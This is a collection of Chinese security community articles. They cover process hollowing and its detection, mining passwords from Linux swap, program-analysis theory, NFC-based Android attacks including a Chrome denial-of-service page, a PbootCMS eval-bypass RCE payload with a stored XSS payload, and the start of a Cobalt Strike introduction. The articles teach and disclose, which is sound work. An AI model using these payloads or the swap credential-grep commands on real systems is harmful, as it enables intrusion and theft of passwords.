有一个值得肯定的地方就是它的 MZ/PE头已经被擦除了，这也让它更难被检测到！
图1.12
**0x4、进程 Hollowing**
进程 Hollowing 是逃避安全软件和安全员检测的另一个攻击技术，它通过创建一个 挂起（CreateProcess 的 Creation
标志设置为CREATE_SUSPENDED）
的进程，删除(Hollowing)进程空间原本的内容，然后重新分配并写入新的payload进去，用SetThreadContext重定向原来的执行流程到新的payload处，最后调用ResumeThread让进程恢复运行。
现在这类技术大多的变种都会用 Create/Map 相关的API替代 敏感的 WriteProcessMemory ，并且修改入口点跳转来代替 敏感的
SetThreadContext 函数.
[DarkComet](http://journeyintoir.blogspot.com/2015/02/process-hollowing-meets-cuckoo-sandbox.html)
是很多使用这种技术的恶意软件中的一个！这里有几个常规的方法可以检测进程Hollowing，其中一个是检测进程是否被以 CREATE_SUSPENDED
方式创建，就像[DarkComet](http://journeyintoir.blogspot.com/2015/02/process-hollowing-meets-cuckoo-sandbox.html) 样本展示的这样.
图1.13
**0x5、模块覆盖**
本文到目前为止，讨论的所有技术都会导致存在 无镜像关联的
执行代码，因此这些也都非常容易得被检测到，但模块覆盖技术却并不会这样，这让的它更难被检测，这个技术具体实现是将
目标进程中没有使用的模块映射到进程中，之后再将自己的payload写在映射的模块里，[Flame](http://blog.ioactive.com/2012/06/inside-flame-you-say-shell32-i-say.html) 是第一个被大众所知的使用这个技术的恶意软件，不久，
[Careto](https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf) 和
[Odinaff](https://www.endgame.com/blog/technical-blog/protecting-financial-sector-early-detection-trojanodinaff)也被发现使用这个技术。当然也有很多其他检测技术可以感知到 模块覆盖
这种技术，比如将内存中的数据和磁盘上相应的模块文件关联起来作对比！
**0x6、GARGOYLE**
GARGOYLE
已经被证明是一种可以逃避大多数安全软件检测的内存驻留技术，它利用当前线程被唤醒时APC中的注册函数会被执行的机制，当线程被唤醒时会首先执行APC队列中的被注册的函数，当payload执行完成后再往后执行.检测这种攻击技术的方法是通过检查线程和用户APC调用来发现隐藏其中的恶意
ROP 链.
**检测内存攻击**
鉴于这些技术已经被扩散和极其容易获取的特性，安全相关人员必须对基于内存的攻击技术保持警惕，并主动在网络中搜寻它们的踪迹，然而，现实是大多是安全产品不具备大规模检测这种内存攻击技术的能力，并且离检测这类攻击在技术上还差的太多.
正是因为这样，[Endgame](https://www.endgame.com/)
团队才在这上面做了很多有意义的探索，并且希望能将这种针对以上所有攻击并实现低误报检测的方法引入我们现有的安全产品中.
鉴于这种针对内存驻留检测技术的差距所涉及到的用户规模和带来的影响，提高所有相关环节而并不止是客户的能力迫在眉睫，因此，我们和 Jared Atkinson
在他所开发的 powershell tool 工具 [Get-InjectedThreads](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
上进行了合作, 这个工具提供了在检测内存驻留技术上相对低误报的方式，它的大概原理就是
通过扫描系统上所有活跃线程的可疑启动地址，安全员通过它去检测自己所在的网络的话，可以很快的鉴别出大多数类型的内存驻留线程.
这个脚本通过 NtQueryInformationThread 函数查询每个活跃线程的启动地址，然后
用 VirtualQueryEx 去查询启动地址相关的区段属性，如果这个线程的启动地址是没有关联并且可执行的（不是 image
属性），那么我们基本可以考虑它是一个注入线程，下面这张图展示了在检测 9002 RAT
[sample](https://www.virustotal.com/en/file/49ac6a6c5449396b98a89709b0ad21d078af783ec8f1cd32c1c8b5ae71bec129/analysis/)
时的情景.
图1.14
这个脚本可以捕获大多数恶意软件家族所使用的shellcode注入技术、反射型注入技术、内存模块注入技术以及 进程hollowing注入
技术，但是需要指出的是，它并不能完全替代安全产品在综合阻止内存注入方面的能力，比如 [Endgame](https://www.endgame.com/).
**企业如何大范围检测内存驻留**
EndGame 企业安全产品
能够检测上面所述的所有驻留技术（或许更多），提供了市场上能找到的最好的来定位内存中威胁的功能。我们不仅仅依赖于简单的检测方法，例如监控众所周知的调用系统API实现注入的流程，而且具备有效地分析内存并找到所有已知的恶意软件驻留的能力。为我们的用户提供了基于线程级的关于注入代码的可见性，以及复杂的后续操作，例如检查到注入的代码后仅仅只会挂起恶意注入的线程来修复威胁。我们的产品在阻止注入过程中和注入成功后的情景都很有效，而且速度快的不行，在几秒钟之内即可定位几万个主机的威胁.
和任何无签名文件的检测技术一样，误报率是我们很看重的一方面，我们从研究到开始应用这个技术去阻止内存驻留的每一步，如何降低误报率都是我们最看重的地方！
大多数误报都和安全软件，即时（JIT）编译代码或DRM保护/打包应用程序这三方面有关。
0xa、很多安全产品有时会为系统中的某些或所有进程注入代码，以增强其行为检测能力。但这样做的缺点是如果安全产品都滥用这种方法的话，它最终可能会损害到系统的安全性，并使得真正的内存驻留恶意软件更难被检测.
0xb、即时（JIT）编译代码是另一个容易导致误报的情况，它会实时生成
存在于没有任何关联或者浮动内存中的代码，.NET或Java应用程序是使用JIT技术最典型的例子，不过幸运的是，JIT
类型的检测比流氓安全产品的行为更容易识别和过滤.
0xc、最后，应该牢记使用数字版权管理（DRM）方案打包或保护的应用程序。同时这些应用程序可能会在内存中才解密或者使用混淆技术去阻止被调试或者逆向破解，同样恶意软件也会使用相同的技术来避开安全软件的检测并阻止安全从业者的分析。
但经过精细的设计和额外的测试，我们的安全产品现在达到了一个很低的误报率，我相信它会使得我们 EndGame 的用户很快摆脱内存驻留软件的危害.
**结论**
我们的对手当然会不断地开发新的技术去躲避检测并达到他们的目的，内存驻留技术也不例外，过去十多年，在这一领域我们一直处于十分被动的地位.幸运的是，通过掌握最新的技术，我们慢慢板回了一局。EndGame
就是通过开发出检测这种攻击的方法，从而在无文件攻击检测这一领域获得了市场领导者的地位（加入了我们另一个关键的技术
[other](https://www.endgame.com/blog/technical-blog/capturing-zero-day-exploits-automated-prevention-technology) key
[technologies](https://www.endgame.com/blog/technical-blog/world-meet-malwarescore)），想要了解更多内存攻击检测方面的知识，查看我们在SANS威胁寻找和IR峰会上演示的[幻灯片](https://www.slideshare.net/JoeDesimone4/taking-hunting-to-the-next-level-hunting-in-memory)。 | 社区文章 |
# Linux交换区的数据挖掘和预防
|
##### 译文声明
本文是翻译文章，文章原作者 EMERIC NASI，文章来源：blog.sevagas.com
原文地址：<http://blog.sevagas.com/?Digging-passwords-in-Linux-swap>
译文仅供参考，具体内容表达以及含义原文为准。
我曾经研究过Linux和Windows中RAM中的敏感数据，有一天我产生了“swap区有什么呢？我在那里又能找到什么呢？”的疑问。
## 一、在交换区我们可以挖掘到什么数据？
交换区是什么我在这里就不做详细解释，如果你想了解更多有关交换区的知识以及如何增加或者减少swappiness（虚拟运存控制），请点击下面的连接：<https://www.linux.com/news/all-about-linux-swap-space>
要想知道你设备的交换区在磁盘的哪个位置可以使用如下命令：
`cat /proc/swaps`
我在安装有各种Ubuntu主要包括Kali
Linux和Debian等几个操作系统的物理机和虚拟机上进行了一定的测试。发现有的系统设置的交换区非常大，而相反有的系统的交换区设置的很小甚至可以忽略。我们在交换区中能发现了什么信息呢？
下面是我在交换区中找到的东西：
> Linux的帐户和明文密码
> Web登录/密码
> Email地址
> Wifi的SSID和密钥
> GPG私钥
> Keepass主密钥
> Samba证书
其实可以找见的东西远远不止这些，任何你在RAM中可以找到的数据和密码都有可能被替换到交换区当中，我在自己的电脑上进行了挖掘，交换区中明文数据的数据量大到令我震惊。唯一一个令我欣慰的是我在其中没能够找到我的Veracrypt
key明文密码！
## 二、如何自动挖掘交换区当中的数据？
### 1、使用正则匹配
有些数据和容易通过正则匹配找到。例如，你想要找到通过GET或者POST请求得到的Web密码，你可以使用下面得匹配：
`# strings <swap_device> | grep "&password="`
如果你想要找到GET或者POST输入Web的Email，可以使用：
`# strings <swap_device> | grep -i 'email=' | grep @ | uniq`
其它的密码由于隐藏在它们自己的相关字符串中所以更难被找到，其中Linux的用户帐户就属于这种情况。在这种情况下，我们仍然可以通过观察目标周围的一些字符串找到一个合适的模式进行匹配（通过大量使用grep
-C 来实现！）。
例如，我发现在Ubuntu distribs上，用户的密码以明文形式被多次使用。总是有一种情况，明文密码就存储在离散列密码不远处的内存中。
通过使用下面的匹配我们就有可能找到该密码：
`# strings <swap_device> | grep -C 50 <hashed_password> | grep
<clear_text_password>`
即使不能找到，明文形式密码仍然很大可能存储在这片交换区内存中，因此我们可以使用该交换区的字符串做一个字典，在/etc/shadow目录下进行字典攻击，就可能获得Linux账户密码。字典攻击可能需要比较长的时间，但在面对强密码和不能破解的密码hash时仍然是一个不错的选择。
你可以在交换区中找到很多东西，如果你想仔细研究，我建议你把交换区中的字符串数据存储在只能由root用户读取的地方，然后使用grep慢慢研究吧！
当然你也可以使用我的交换区数据挖掘工具。
### 2、使用Swap digger脚本
我写了一个bash脚本[swap_digger](https://github.com/sevagas/swap_digger
"swap_digger")，可以用于自动化挖掘交换区数据的。
[swap_digger](https://github.com/sevagas/swap_digger
"swap_digger")主要功能是够自动挖掘并提取出Linux
交换区中的包括用户证书、Web表单证书、Web表单电子邮件、基于http的身份验证、Wifi SSID和密钥等在内的敏感数据。
我进行了简单的演示下面是相关截图：
更多有关详细信息和功能以及使用方法，请在Github上边访问[swap_digger](https://github.com/sevagas/swap_digger
"swap_digger")。
**注意：Swap digging出现误报的几率很大。主要原因是它无法预测数据的存储位置以及来自同一进程的两段数据是否在交换区中相邻。**
## 三、我们能做些什么？
有以下几种可以降低交换区数据泄露风险的办法：
### 1、定期清空交换区
交换区中的敏感数据可以保存数月，然后再被其他的内容置换掉。你可以定期擦除交换区中的数据（擦除时需要暂时禁用交换功能）。可以通过下面的命令实现交换区数据的擦除：
swapoff -a ＃禁用交换区并强制数据回到RAM中
dd if = / dev / zero of = < swap_device > bs = 512 ＃清空交换区数据
mkswap < swap_device > ＃重新创建交换区的文件系统
swapon -a ＃启用交换
### 2、加密交换区
我们也选择加密交换区，在Ubuntu上边是默认选择加密主目录的。
交换区加密这种方法的确可以防止通过挂载磁盘进行取证分析和非法数据利用的，但它不能防止在实时系统受损后进行后期利用。在实时系统中，加密交换区是安装在磁盘的特殊位置中（类似于
/dev/ mapper/blah_swap）。如果你访问该设备，则交换区是以明文形式呈现。
已知的加密交换区的方法有好几种，读者可以自行搜索选择适合自己操作系统的加密方法进行加密。
### 3、开发人员应该及时擦除RAM中的敏感数据
出于性能原因的考虑，内存分配和释放时不会擦除RAM中的相关数据。在被替换之前，释放的数据可以在RAM中保留相当长的一段时间。这是由于交换产生的问题，但是因为敏感数据也可以从进程内存中泄漏（[mimipenguin](https://github.com/huntergregal/mimipenguin
"mimipenguin")工具就是基于此的）。
如果软件中包含敏感的数据（如密码），则应在该软件释放内存之前将所有值替换为零或者随机产生的垃圾数据来掩盖它。
## 四、结论
交换区是计算机取证（forensic）和拿到权限后后期利用（post
exploitation）的一个重要地方。在我们的例子中，我们只是看了Linux下部分基于字符串匹配获得的数据，二进制的数据我们还没仔细研究。
另外，Windows操作系统，也是可以设置交换区的。但是由于Windows交换区的相关文件（Pagefile.sys，Swapfile.sys，Hiberfile.sys）更难以阅读并且系统管理员无法访问它们，导致了Windows下交换区数据的挖掘和利用难度比较大。然而，通过使用更先进的取证方法和工具仍然是可以达到挖掘相关数据的目的的。
_在此感谢[Benjamin Chetioui](https://twitter.com/_SIben_ "Benjamin
Chetioui")和[Jeremie Goldberg](https://twitter.com/BaronMillenard "Jeremie
Goldberg")帮助我进行相关测试。_
_感谢[Hunter Gregal](https://twitter.com/HunterGregal "Hunter
Gregal")，我在我的自动化挖掘脚本中使用了了他的[mimipenguin](https://github.com/sevagas/swap_digger
"swap_digger")中的部分代码。_
_欢迎大家对[swap_digger](https://github.com/sevagas/swap_digger
"swap_digger")评论并提出改进的意见和建议。_
_欢迎关注[EmericNasi](http://twitter.com/EmericNasi "EmericNasi")_ | 社区文章 |
# 程序分析理论 最后一篇
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
# 前言
发现最近很少人看了，也收到很多师傅反馈看不懂，相关的前置知识我在理论部分也简单提过了，关于程序分析理论的前置知识实际上就是半序集，完全格，结构归纳法。除此之外，文章大部分讲的都是关于分析的语法，就是对于一段代码，你能把它转化成什么，又能得到什么约束条件使得代码分析可以计算得到一个结果。这一个系列并不是说代码审计工具怎么编写，而是对于一个程序怎么分析，知道了分析方法，对于任何语言的代码审计都会有帮助。所以每一篇文章，我都写了很多分析语法，都是一步一步慢慢做加法最终到了现在的语法。
从最开始的数据流分析的Reaching
Definition对每一句代码执行前后状态描述，到描述状态改变的UD链和DU链，到对于代码块的分析，既有过程间分析，又有控制流分析，到抽象解释分析语义，到系统模型区分类型和应用处理机制，到这篇文章的拓展的系统模型和实现分析的算法。语法有很多互通，理论和书写方式有很多一致。
确实是本人学术不精没有办法达到最初分享的目的，所以今天这篇文章主要就是介绍，具体的语法并没有特别的写出，关于约束条件也没有提及，主要通过例子简单介绍这些方法是做什么的。算法部分也就是简单逻辑和伪代码。
原计划是写完这个系列，再写fuzz的一个系列，但是好像这个系列效果不是很好，所以fuzz系列我还要迟疑一会。
## 侧响应分析Side Effect Analysis
侧响应分析是之前分析系统的拓展，之前的分析系统不包含数值，只包括代码执行逻辑。而侧响应分析引入了变量引用，变量定义，变量更新的操作语法。实现对执行结果的分析
这是一个斐波那契数列代码转义之后的结果，一个变量r在递归函数调用执行中变化，当 z<3 时，r+1。当 z>=3 时，结果为前两项之和。
在这个例子中，我们可以看到new v=n in e的结构，这个结构表示v初值为n，作用域为e。
此外还有 !v 的结构表示调用值，v = e表示更新，e_1;e_2表示先后执行操作。
对于代码分析程序而言，遇到这样的转义结果后需要进行以下操作：记录 r 的数据类型，记录代码执行过程中 r 会进行的引用或者更新操作
也就是建立一个表格专门记录 r 的数值，记作ref(R)，创建两种处理机制引用和更新，记作!R,和R=。
以上就是侧响应分析的思路，加入数值记录完善最终分析结果。
在一个程序中，会出现常数，变量，函数，函数引用，递归，代码块执行，条件语句，布尔操作等情况，我们接下来对每一种情况阐明侧响应分析的内容。
常数和变量记录类型和数值。函数记录函数返回值类型，参数类型，过程中对参数的调用和更新。函数引用记录参数数据，返回值数据，同时将函数的记录复制过来。递归记录多次函数的记录，同时，每一次函数的参数都是上一次调用的结果，从而建立联系。代码块记录每一次的操作和结果。条件语句对判断进行分析，对分支语句分别记录操作和结果
例子中有三个new in 结构，第一个结构是 new_A x = 1 in () + () ，
第二个是 new_B y= !x in (x = !y + 1; !y + 3)
，在这个结构当中，我们记录B节点，作为表名，过程中进行了引用x，赋值y，引用y，赋值x的操作，我们记录为
{!x,y:=,!yx:=}，由于x，y的值保存在表格A，表格B中我们用AB代替xy。除此之外，第一个赋值y的操作实际上就是定义一个变量，所以，我们只需要创建一个新表格记录数值就可以满足操作。
最终得到{new B,!A,A:=,!B}的响应模式
第三个是new_C x = !x in (x=!x+1;!x + 1) ， 在这个结构中，和上面分析过程一样，我们最终得到{new
C,!A,C:=,!C}的响应模式。
那么第一个结构我们就可以得到响应模式{new A,new B,new C,!A,!B,!C,A:=,C:=}
在这个过程中，我们发现B表格的结果没有被引用，所以对于y而言，我们可以只记录y，而不用新建一个表格记录y的值，相应的，我们对转义语句进行更改，将new_B
in 改成 let y = !x in ()的结构。
这就是侧响应分析的语法。
## 预期分析Exception Analysis
预期分析同样是对之前系统模型的拓展，一切基于之前的模型，同时又有一些新的语法，满足更多的需求。
我们可以看到上面例子中多了两个语法：raise 和 handle as in。当x<0时满足期望x-out-of-range，分析返回x-out-of-range的设定，当y<0 或者 y>x 时，满足期望y-out-of-range，分析返回y-out-of-range的设定。
我们先分析一个简单例子
这里设定的预期是正数还是负数，对于负数存在neg的处理机制，对于正数存在pos的处理机制，虽然这里并没有实际调用，但是正因为这样，我们可以简单认为exception就是一个特定条件下调用的函数。
现在我们回到第一个例子
当x<0时，调用x-out-of-range的处理机制，也就是handle部分内容：将x-out-of-range作为0。这就是预期分析。
而预期分析在代码分析程序中的应用就是当语句满足设定可能存在危险的情况时，进行预期处理，进一步分析是否存在漏洞。
## 域推断Region Inference
引入数据后，存储是一个问题，所以我们引入域推断的理论。
存在数据7和9，首先，我们要保存x的值为7，预先设定函数Y的返回值保存地址，预留x+y保存的地址，随后，保存y的值为9，经过计算后，只需要记录x+y的值为16。所以7，9作为缓存数据，执行完后删除，Y的返回值也只需要在执行过程中提供。
所以我们提出region_name，regions 和 region variables，并添加语法at。
上述代码可以转换成 let region_1,region_2,region_3,region_4 in (let x = (7 at region_1)
in (fn_Y y => (y+x) at region_2) at region_3)(9 at region_4)
最后将缓存数据删除，只剩下 region_2，保存在r_1域中
再结合之前的系统模型，我们得到
(let x = (7 at region_1) in (fn_Y y => (!y+!x) at region_2) at region_3)(9 at
region_4)
在执行过程中，引用x，y，也就是引用region_1，region_4
赋值x+y就是将x+y的值保存在region_2
也就是存在响应机制{get region_1，get region_4 ,put region_2}
## 算法Algorithms
### 工作列表算法Worklist Algorithms
首先，引入 worklist
empty作为空工作列表，insert作为插入数据，extract作为删除数据。input作为输入代码，output作为分析结果。
整个过程的伪代码就是：
初始化：新建工作列表，并填充约束。
initialisation(){
W = empty
for all x コ t in S do
W = insert((x コ t),W)
Analysis[x] = 空
infl[x] = 空
for all x コ t in S do
for all x' in FV(t) do
infl[x'] = infl[x'] ∪ {x コ t}
}
更新数据：将工作列表中的约束分析，如果约束包含子约束，那么将子语句约束插入到工作列表继续分析。
Iteration(){
while W != empty do
((x コ t),W) = extract(W)
new = eval(t,Analysis)
if(Analysis[x] !コ new){
Analysis[x] = Analysis[x] ∪ new
for all x' コ t' in infl[x] do
W = insert((x' コ t'),W)
}
}
### 后续分析点Reverse Postorder
程序的执行并不是永远自上而下不会跳转的，也并不是不会重复执行同一句语句的，所以，我们的算法也不可以是自上而下的。因此，我们引入Reverse
Postorder。
我们对extract()进行修改
W.p保存下一个分析语句所在位置，当当前语句W.c分析完毕后，分析W.p的语句
function extract(W.c,W.p){
if W.c = nil then
W.c = sort_Postorder(W.p)
W.p=空
return (head(W.c),(tail(W.c),W.p))
}
### 遍历循环算法The Round Robin Algorithm
在后续分析点的理论中，我们需要找到下一句分析的语句，我们使用循环查找。为了方便代码执行，我们将所有语句用序号标记，遍历所有语句，找到符合条件的那一句语句。此时，我们不需要特地标记W.p，只需要利用代码逻辑继续执行就行。
当程序没有分析完时，遍历程序所有语句作为下一句语句分析，当找到符合的语句，重复遍历分析下一句，直到分析完毕。
while change do
change = false
for i = 1 to N do
new = eval(t,Analysis)
if(Analysis[x_i] !コ new) then
change = true
Analysis[x_i] = Analysis[x_i] ∪ new
### 代码块遍历Interating Through Strong Components
对于循环遍历算法，我们可以增加一些关系简少遍历。比如有些语句块中不包含跳转，我们只需要按顺序分析即可。或者有些语句有着固定执行顺序。
所以我们将代码分成代码块并标记
for i = 1 to N do
start(j) = end(j) = i
while(postorder(i) = i+1){
end(j) = end(j)++
}
i = end(j) + 1
此时，我们既要对代码块之间进行分析，又要对代码块内部分析。所以更改代码为
extract(){
if W.c = nil {
W.c = start(sort(W.c)+1)
W.p = W.p \ W.c
}
return (head(W.c),tail(W.c),W.p)
}
_DR[@03](https://github.com/03 "@03")@星盟_ | 社区文章 |
# Android漏洞利用方式之NFC浅析
|
##### 译文声明
本文是翻译文章，文章来源：360VulpeckerTeam
译文仅供参考，具体内容表达以及含义原文为准。
**author：** **行之@ 360 vulpecker team**
**0x00 前言**
前两天在drops上看到一篇文章,简单介绍了Android平台上结合二维码实现的漏洞利用[1]。除二维码以外,文中讲到的漏洞利用都可以通过NFC实现。通过NFC还可以实现更多本地漏洞的利用。这篇文章的目的在于科普,使更多用户意识到NFC在开启状态下,可以实现很多攻击,提醒用户在不使用时及时关闭。
**0x01 什么是NFC**
NFC,全称 Near Field
Communication。NFC是一套近场通信协议,可以通过触碰或近距离实现两台设备间数据通信。由于其具有低功耗、便捷、成本低等特点,被广泛应用于移动支付。
**0x02 NFC工作原理**
基于NFC的设备基本上有两种可能的通信方式:Passive、Active。
Passive模式,一般指的是开启NFC的设备读取NFC Tag。
Active模式,一般指的是两台开启了NFC的设备之间的端对端的通信。这种模式下,可以便捷的传递二进制文件和多媒体文件等。
NFC使用NDEF(NFC Data Exchange
Format)格式标准传递数据,这种格式是一种简单的二进制消息格式,这种消息格式包含多种类型:普通文本、url链接等。下图是TagWriter[2]工具所支持的数据格式,通过这个软件可以向NFC
Tag中写入各种类型的数据来实现攻击。
Android NFC协议栈可以分为三部分:Kernel、NFC
Services以及Tag本身。Kernel层包含libpn544_fw.so,这是NFC的驱动。它会响应一些必要的NFC信号。在Android里,NFC服务是由com.android.nfc这个应用提供的,它依赖三个主要的驱动组件:
libnfc_jni.so、libnfc_ndef.so和libnfc.so。这三个组件分别负责JNI、NDEF和其他NFC相关的数据部分。
当NFC Tag (或者开启了NFC的设备)接近一台开启了NFC的Android
设备后,Kernel层的libpn544_fw.so感应到NFC信号,会调起NFC服务,一旦NFC服务被调用,这些服务便会接收NFC数据并分类存储。这里我们重点关注的是libnfc_ndef部分的数据。NFC
Tag中的数据便是在这里被解析处理。www格式的数据会打开浏览器处理,mailto:协议会调用邮件客户端处理,而一些异常的畸形数据将导致NFCService拒绝服务等。
**0x03 基于NFC的Android漏洞利用**
Android里很多漏洞,都可以通过访问一个恶意网页实现利用。基于这点,这篇文章所有的漏洞利用都是将一个恶意url写入NFC Tag实现的。
一、使用drozer模块下发木马安装(安装需要用户点击),并实现远控。只需要把drozer server地址写入NFC
Tag中,轻触便可强制浏览器打开url,下载安装,并通过浏览器唤起木马程序。
二、利用系统浏览器WebView远程代码执行漏洞,实现root提权,并静默安装木马远控。
同样可以把攻击者的url写入NFC Tag,强制浏览器打开恶意网页。
三、拒绝服务攻击。
拒绝服务攻击从两方面介绍:应用和系统。
应用:最新版Chrome存在两个拒绝服务漏洞。
1.访问如下内容的网页,即可导致chrome拒绝服务崩溃退出。
<html>
<script>
function t(){w.location = 'http://www.haoso.com/'}
function test()
{
w = open()
w.opener = null
w.document.write('<h1>done</h1>')
w.t = t
w.setInterval(t, 10)
}
</script>
<body onload="test()">
</body>
</html>
可以使用TagWriter将这个网页的URL写在NFC Tag里,如下图所示,保存并写入。然后直接将这个NFC
Tag靠近手机,即可强制chrome访问如下网页,崩溃退出。
2.Chrome第二个拒绝服务可以通过intent scheme
url触发,同上,将http://expmp.com/yy.html这个验证url写入tag即可。
intent://editbookmark/#Intent;scheme=chrome;end
系统:N5系统拒绝服务漏洞。
Nexus 5 4.4.2系统有个拒绝服务,可以导致系统关机重启。这里通过NFC 实现漏洞利用。
四、越权攻击。
利用三星手机USSD漏洞,实现格式化手机。
漏洞演示视频:[https://youtu.be/zEESPrE0Csw](https://youtu.be/zEESPrE0Csw)
利用三星手机MDM客户端更新漏洞,实现欺诈安装任意应用。
利用appstore类应用实现自动下载安装任意应用。
利用虫洞实现本地命令执行。
直接把127.0.0.1:port/xxxx写入tag即可。
五、uxss攻击
漏洞演示视频:<https://www.youtube.com/watch?v=TbyQoWyaw2g>
六、启动任意应用
如果强制下载安装恶意程序后,无法通过intent scheme url实现启动应用的话,可以使用这个功能。
使用TagWriter即可实现启动任意应用,可以亲自试下。
七、信息窃取
大功率的NFC读取设备,可以更有效的读取附近的NFC卡信息。常见的场景有恶意的post刷卡机、恶意的ATM取款机等。这些恶意的NFC读取设备将导致用户的敏感信息被窃取。
八、重放攻击
在现实生活中,部分依赖NFC的门禁卡、消费卡都可以被攻击,可以使用一个支持NFC的手机,读取这些卡的信息并存储下来,使用手机来代替门禁卡、进行消费等,这种攻击被称为重放攻击。
**0x04 总结**
基于NFC的漏洞利用方式,有优势也有限制。
优点:
可以强制用户发起请求,代替用户手动点击url。
限制:
1.需要NFC处于打开状态。
2.需要手机处于解锁状态。(不过低版本系统漏洞可以直接绕过锁屏,另外安装了某些应用的系统也可以轻松绕过系统锁屏,比如某山一款词霸软件,目前依旧可用。)
3.需要近距离实现攻击。(比如在地铁、公交)
虽然基于NFC的攻击条件有些苛刻,无法远程,但还是存在很大风险的。建议用户在使用完NFC后,立即关闭,减少攻击面,避免不必要的损失。
**0x05 参考**
1.<http://drops.wooyun.org/mobile/10775>
2.[https://play.google.com/store/apps/details?id=com.nxp.nfc.tagwriter&hl=zh_CN](https://play.google.com/store/apps/details?id=com.nxp.nfc.tagwriter&hl=zh_CN)
3.[http://nfc-forum.org/](http://nfc-forum.org/)
by行之。 | 社区文章 |
#### 前
师傅分析的[pbootcms1.2.1版本getshell文章](https://xz.aliyun.com/t/3533)
#### 后台代码执行
下载最新版本，`apps/home/controller/ParserController.php`中的`parserIfLabel`函数的实现代码如下
// 解析IF条件标签
public function parserIfLabel($content)
{
$pattern = '/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
$pattern2 = '/pboot:([0-9])+if/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';
$danger = false;
$white_fun = array(
'date',
'in_array',
'explode',
'implode'
);
// 还原可能包含的保留内容，避免判断失效
$matches[1][$i] = $this->restorePreLabel($matches[1][$i]);
// 解码条件字符串
$matches[1][$i] = decode_string($matches[1][$i]);
// 带有函数的条件语句进行安全校验
if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
$danger = true;
break;
}
}
}
// 不允许从外部获取数据
if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)/i', $matches[1][$i])) {
$danger = true;
}
// 如果有危险函数，则不解析该IF
if ($danger) {
continue;
}
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在else
switch ($flag) {
case 'if': // 条件为真
if (isset($matches2[1])) {
$out_html = $matches2[1];
}
break;
case 'else': // 条件为假
if (isset($matches2[2])) {
$out_html = $matches2[2];
}
break;
}
} elseif ($flag == 'if') {
$out_html = $matches[2][$i];
}
// 无限极嵌套解析
if (preg_match($pattern2, $out_html, $matches3)) {
$out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);
$out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);
$out_html = $this->parserIfLabel($out_html);
}
// 执行替换
$content = str_replace($matches[0][$i], $out_html, $content);
}
}
return $content;
}
可以看到在2467行对eval函数进行了过滤，此时想到可以利用include来包含图片执行代码。
php > var_dump(function_exists("include"));
bool(false)
可以看到include也是返回false。
上传图片。
这里的路径也可以看到。
接下来构造payload，
{pboot:if(include("./static/upload/image/20191013/1570972592462906.jpg"))}active{/pboot:if}
到网站首页留言处提交留言，然后到后台开启显示该留言，随后回到首页留言处刷新。
可以看到执行了代码
#### 弯路
由于自己是在debug中调试代码的，所以在查看$matches数组的时候，就没有让他走完for循环，所以只看到了payload经过实体化的结果如图。（是很zz了.....）
然后就在尝试绕过。绕过的payload为。
{pboot:if(1\51include\50\42./static/upload/image/20191013/1570972592462906.jpg\42\51\73if\50true)}active{/pboot:if}
后面在看的时候才发现在第2462行对代码进行解码，解码函数如下
function decode_string($string)
{
if (! $string)
return $string;
if (is_array($string)) { // 数组处理
foreach ($string as $key => $value) {
$string[$key] = decode_string($value);
}
} elseif (is_object($string)) { // 对象处理
foreach ($string as $key => $value) {
$string->$key = decode_string($value);
}
} else { // 字符串处理
$string = stripcslashes($string);
$string = htmlspecialchars_decode($string, ENT_QUOTES);
}
return $string;
}
该函数会进行一次`htmlspecialchars_decode`解码，所以会直接把`"`变为`"`。也就是在看这个解码函数的时候，发现了cms将留言从数据库取出的过程发现都会经过转码函数的处理。
#### 存储XSS
在`/PbootCMS2.0.2/core/function/handle.php`中的`decode_string`函数下还有一个`decode_slashes`函数，代码如下
function decode_slashes($string)
{
if (! $string)
return $string;
if (is_array($string)) { // 数组处理
foreach ($string as $key => $value) {
$string[$key] = decode_slashes($value);
}
} elseif (is_object($string)) { // 对象处理
foreach ($string as $key => $value) {
$string->$key = decode_slashes($value);
}
} else { // 字符串处理
$string = stripcslashes($string);
}
return $string;
}
这里会用`stripcslashes`函数对字符串处理，该函数定义如下
该函数可以将字符串进行反转义，也就是可以把16进制转换为字符串。
跟踪该函数，可发现在此处调用
根据注释可以知道在内容输出处都会使用decode_slashes函数处理。
尝试xss，构造payload
\x3cscript\x3ealert(\x221111111\x22)\x3b\x3c/script\x3e
将payload填入留言。
后台刷新页面可以看到，成功实现xss。
在没有后台的情况下，可以尝试利用xss获取后台管理员的身份,再配合上面的代码执行getshell。 | 社区文章 |
### Cobalt Strike 介绍
[Cobalt Strike](https://www.cobaltstrike.com):
C/S架构的商业渗透软件，适合多人进行团队协作，可模拟APT做模拟对抗，进行内网渗透。
本文讲解3.12版本，该版本支持了Unicode编码。
Cobalt Strike整体功能了解参考[MITRE ATT&CK™](https://attack.mitre.org/software/S0154/)
#### Cobalt Strike的C/S架构
* 客户端(Client GUI)
* 团队成员使用的图形化界面
* 服务器(Team Server)
* 控制 - Team Server是Cobalt Strike中所有payload的主控制器，与victim的所有连接`bind/reverse`都由Team Server管理。
* 日志记录 - Cobalt Strike中发生的所有事件 保存在`logs`文件夹
* 信息搜集 - 收集在后渗透阶段发现的、或攻击者在目标系统上用于登录的所有凭据`credentials`
* 自定义脚本 - `cat teamserver`可看到该文件是一个简单的bash脚本(可根据自己要求修改) 调用Metasploit RPC服务`msfrpcd`并启动服务器`cobaltstrike.jar`
#### 基本步骤
* (可选步骤)选取C2域名
